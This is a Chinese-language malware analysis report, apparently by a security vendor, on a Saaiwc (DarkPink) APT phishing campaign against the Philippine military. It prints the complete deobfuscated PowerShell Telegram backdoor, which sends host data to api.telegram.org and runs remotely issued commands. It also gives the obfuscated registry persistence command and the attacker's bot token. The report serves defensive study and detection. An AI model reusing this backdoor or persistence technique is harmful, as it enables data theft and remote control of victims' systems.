概述
Saaiwc
也被称为DarkPink
,是一个主要针对于东南亚的APT组织。其主要目标是进行企业间谍活动,窃取文件。主要攻击方向包括军事机构、政府、宗教组织和非盈利组织。改组织最早被发现于2021年,曾在2022年期间发起多个攻击事件。主要攻击手段是通过鱼叉式网络钓鱼发送电子邮件构造虚假信息诱导目标打开附件。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
攻击者通过电子邮件附件发起钓鱼攻击,诱导目标打开附件内容。 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
通过ScriptRunner调用PowerShell脚本执行命令 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
在Windows的Startup文件夹中创建一个快捷方式实现特定条件自启动 |
TA0043 -侦察 |
T1592 -收集受害者主机信息 |
收集主机名称、IP、系统防病毒产品名 |
TA0005 -防御规避 |
T1036 -伪装 |
伪装PDF扩展的可执行文件(PDF.exe) |
TA0005 -防御规避 |
T1140 -去混淆或解密文件信息 |
恶意的DLL在运行后动态解密一个新的EXE可执行文件 |
TA0005 -防御规避 |
T1564 -隐蔽组件 |
创建隐藏的快捷方式实现启动恶意脚本 |
TA0005 -防御规避 |
T1574 -劫持执行流 |
通过WinWord对DLL侧加载 |
TA0005 -防御规避 |
T1202 -间接命令执行 |
通过Win10提供的ScriptRunner绕过CMD执行PowerShell脚本 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
上传主机信息,接收控制指令 |
TA0005 -防御规避 |
T1112 -修改注册表 |
通过修改注册表劫持.amv格式实现恶意文件执行 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
通过Base64和变量替换混淆PowerShell脚本内容 |
攻击事件详情
本次攻击事件主要针对于菲律宾武装部队,根据以下文件内容可知攻击者释放文档的伪造内容为CEISS参谋长于2023年7月26日开展会议
主题,从而迷惑菲律宾相关行政部门人员。
样本分析
1. 初始文件:CONFERENCE NOTICE DTD 26 JUL 2023.iso
字段 | 内容 |
---|---|
原始文件名 | CONFERENCE NOTICE DTD 26 JUL 2023.iso |
文件大小 | 2.27MB |
文件MD5 | 53472EC4AF7C51CDAC5DFFCD7125101C |
文件类型 | ISO文件 |
- 初始文件为ISO文件,其中包含三个文件:
CONFERENCE NOTICE DTD 26 JUL 2023.pdf.EXE
CONFERENCE NOTICE DTD 26 JUL 2023.pdf
AppvIsvSubsystems32.dll
.EXE
文件是Microsoft Word产品中的WinWord.exe
原始文件。当双击启动EXE时,通过白加黑手段, 侧加载恶意DLL文件AppvIsvSubsystems32.dll
。并在随后启动诱饵文档CONFERENCE NOTICE DTD 26 JUL 2023.pdf
。
2. 第一阶段DLL:AppvIsvSubsystems32.dll
字段 | 内容 |
---|---|
原始文件名 | AppvIsvSubsystems32.dll |
文件大小 | 58.5KB |
文件MD5 | 765F2EEB86C1307F442A267E80AF5B32 |
病毒名 | Trojan.Kryptik!1.EA05 |
文件类型 | DLL |
- 在
AppvIsvSubsystems32.dll
的DLLMain
中,读取当前模块的内存,解密ShellCode随后执行到入口点
- 解密后的数据是一个PE.EXE可执行程序,将在内存中直接执行到入口点。
3. 第二阶段EXE:ShellExcute
字段 | 内容 |
---|---|
文件大小 | 75.9KB |
文件MD5 | FFE91B83D0D48FF18DF2BB9120E12BFB |
文件类型 | EXE |
病毒名 | Trojan.[Saaiwc]PSRunner!1.EA01 |
备注 | 该文件在内存中加载执行,负责打开诱饵文档,执行恶意脚本 |
-
创建互斥体防止多开:
v65aq3D4-53VqAaiw-tgSCJCY7-SS3Bmub6
-
通过CreateProcess启动命令行打开诱饵文件
CONFERENCE NOTICE DTD 26 JUL 2023.pdf
- 为进程提权
SeDebugPrivilege
-
向注册表存放数据:
键 值 数据 HKCU\Environment TKS 5036791021:AAHJOSRT4VbXAa9SOOvLQlZ6k2qhPxH6qNo HKCU\Environment IDS -754457654 HKCU\SOFTWARE\Classes\.amv (默认) amvfile HKCU\SOFTWARE\Classes\amvfile\shell\open\command (默认) Scriptrunner.exe -appvscript powershell \"DeviceCredentialDeployment;sal amv ((gal i??)[1]);[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp(gi ‘HKCU:\S*\C*\amv*\s*\o*\c*’).PSPATH -Name ‘amv’).’amv’) HKCU\SOFTWARE\Classes\amvfile\shell\open\command amv JikgeDV4fTd1KyomaipLWzc9NWAzPDY/OmIrZmctYz0ADEQEQBEBCw8YGltgCgcPGGpmakRwax8aQgtGRw1DRDJ8ICMpYyYgXkwtJytOQ… HKCU\SOFTWARE\Classes\amvfile\shell\open\command DelegateExecute null -
创建
Text.amv
文件
"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Text.amv"
- 写入数据:
5036791021:AAHJOSRT4VbXAa9SOOvLQlZ6k2qhPxH6qNo
- 创建隐藏属性的快捷方式文件
TextA
、TextV
、TextC
,并设置相应的快捷键(Ctrl+A
、Ctrl+V
、Ctrl+C
)来触发快捷方式的执行。
HKCU\SOFTWARE\Classes\amvfile\shell\open\command
指定了.amv
文件打开时要执行的命令行指令。ScriptRunner.exe
是一个多脚本运行器,通过它可以按顺序运行一个或多个脚本,随Windows 10(1607+)提供。
- 注册表中的脚本执行Scriptrunner.exe来启动一个通过Base64编码并且变量置换打乱的具有两层混淆的Powershell脚本来执行最终的恶意脚本。
4. 最终后门PowerShell脚本
字段 | 内容 |
---|---|
文件大小 | 47.50 KB |
文件MD5 | FB0CB011993E783AA22DC25841DA8841 |
文件类型 | PowerShell |
病毒名 | Backdoor.TelegramRAT/PS!1.E9F8 |
备注 | 创建快捷方式、窃取用户信息以及接收下发指令。 |
恶意脚本主要进行数据远程窃取,在代码中进行以下操作:
- 删除桌面Text开头的快捷方式
- 尝试连接到
api.telegram.org
- 获取公网IP地址
- 获取本地IP地址
- 获取计算机名
- 获取操作系统版本
- 获取系统防病毒软件名称
- 将所有收集的信息组合,发送消息到Telegram
- 生成GUID作为互斥体,防止多个实例干扰
- 通过一个无限循环,每30秒向Telegram获取一次更新信息,信息将被分为名字和任务。
Telegram API的地址:api.telegram.org/bot{token}/getUpdates
名字如果是计算机名、"all"、国家代码,就执行任务,并将结果发送回Telegram。
# 删除桌面上所有以 "Text" 开头的快捷方式
gi "$([Environment]::GetFolderPath('Desktop'))\Text*.lnk" -Force | Rm -Force
# 设置网络安全协议为 Tls12
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# 设置错误处理方式
$ErrorActionPreference = "Continue"
# 设置 Telegram API 地址
$a = "api.telegram.org"
# 尝试连接到 Telegram API
$i = 0
while ($i -lt 3) {
$ok = $null
$i += 1
$ok = (iwr $a -UseBasicParsing -TimeoutSec 30).StatusCode
if ($ok -eq 200) { break }
Sleep 10
}
# 尝试获取公网 IP 地址
$i = 0
while ($i -lt 3) {
$ip = $null
$i += 1
$ip = irm "http://ip-api.com/json" -UseBasicParsing -TimeoutSec 10
if ($ip) { break }
Sleep 30
}
# 获取本地 IP 地址和其他信息
$ip_local = (Get-NetIPConfiguration | ? { $_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected" }).IPv4Address.IPAddress
$cn = $env:COMPUTERNAME
$model = (Get-WmiObject win32_computersystem).model
$hd = (get-partition -DriveLetter C | get-disk).FriendlyName
$os, $type = 'Version', 'ProductType' | % { (Get-CimInstance -ClassName Win32_OperatingSystem).$_ }
$av = ((Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct).displayName | sort -Unique) -join ","
# 从注册表中获取 chat_id 和 Token
$reg = "HKCU:\Environment"
$ids = (gp $reg -name IDS).IDS -split "::"
$tks = (gp $reg -name TKS).TKS -split "::"
# 从注册表中获取或生成 GUID
$m = (gp $reg -name date).date
$g = (gp $reg -name guid).guid
if (-not $g) {
$g = (new-guid).guid
sp $reg -name GUID -value $g
}
# 创建互斥体,如果已经存在则退出
if (-not(New-Object Threading.Mutex($false, $g)).WaitOne(1)) { exit }
# 构造信息字符串
$info = "$cn : $(whoami): $($ip.countryCode)-$($ip.region): $($ip.query): $ip_local : $model : $hd : $os : $type : $av : $g :"
# 发送信息到 Telegram
$uri = "$a/bot$($tks[0])/sendMessage?chat_id=$($ids[0])&text=$info"
$i = 0
while ($i -lt 3) {
$ok = $null
$i += 1
if ($m) {
$ok = (iwr "$uri reconnected!" -UseBasicParsing -TimeoutSec 10).StatusCode
} else {
$ok = (iwr "$uri new connection!" -UseBasicParsing -TimeoutSec 10).StatusCode
}
if ($ok -eq 200) { break }
Sleep 10
}
# 设置Invoke-Expression的PIG别名
sal PIG ((gal i??)[1])
# 主循环,每 30 秒获取一次 Telegram 更新信息
while (1) {
Sleep 30
$t_msg = $tks | % {
$mg = (irm -Uri "$a/bot$_/getUpdates" -UseBasicParsing -TimeoutSec 10).result.message
$mg | Add-Member -NotePropertyName token -NotePropertyValue $_ -Force
$mg
} | ? { $_.chat.id -in $ids } | sort date
$t_msg | % {
if ($m -lt $_.date) {
$m = $_.date
sp $reg -name DATE -value $m
$name, $task = $_.text -split " :: "
$name = $name -split ","
if ($cn -eq $name) {
# 解压和解码任务
$hash = [System.BitConverter]::GetBytes($g.GetHashCode())
[byte[]]$byteArray = [System.Convert]::FromBase64String($task)
[System.IO.MemoryStream]$inputStream = New-Object System.IO.MemoryStream(, $byteArray)
[System.IO.MemoryStream]$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($inputStream, ([IO.Compression.CompressionMode]::Decompress))
$gzipStream.CopyTo($output)
$gzipStream.Close()
$inputStream.Close()
[byte[]] $byteOutArray = $output.ToArray() | % -Begin { $i = 0 } -Process { $_ = $_ -bxor $hash[$i % $hash.length]; $i++; $_ }
$task = [System.Text.Encoding]::Unicode.GetString($byteOutArray)
}
if (($cn -in $name) -or ($name -like "all") -or ($name -like $ip.countryCode)) {
# 执行任务并发送结果到 Telegram
$uri = "$a/bot$($_.token)/sendMessage?chat_id=$($_.chat.id)&text=$info"
$ms = ($task | PIG -ErrorVariable b) | Out-String
$i = 0
while ($i -lt 3) {
$ok = $null
$i += 1
$ok = (iwr "$uri`n$($ms[0..$(4080 - $info.Length)] -join '')" -UseBasicParsing -TimeoutSec 10).StatusCode
if ($b) { iwr "$uri`n$(($b | out-string)[0..$(4080 - $info.Length)] -join '')" -UseBasicParsing -TimeoutSec 10 }
if ($ok -eq 200) { break }
}
}
}
$m = (gp $reg -name DATE).DATE
}
}
总结
自从Saaiwc被披露以来,一直处于攻击活跃的状态。并且其主要针对于东南亚的政府机构攻击目标相对明确,该组织多次使用ISO文件作为恶意载体,并通过创建快捷键方式来启动恶意脚本。攻击手法独树一帜,意味着可能正在持续的进行新攻击技术探索,未来可能仍然会有较为频繁的攻击事件。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
53472EC4AF7C51CDAC5DFFCD7125101C 765F2EEB86C1307F442A267E80AF5B32 FB0CB011993E783AA22DC25841DA8841 FFE91B83D0D48FF18DF2BB9120E12BFB
-
URL
hxxps://api.telegram.org/bot5036791021:AAHJOSRT4VbXAa9SOOvLQlZ6k2qhPxH6qNo/sendMessage?chat_id=-754457654 hxxps://api.telegram.org/bot5036791021:AAHJOSRT4VbXAa9SOOvLQlZ6k2qhPxH6qNo/getUpdates
-
瑞星病毒名
Trojan.[Saaiwc]PSRunner!1.EA01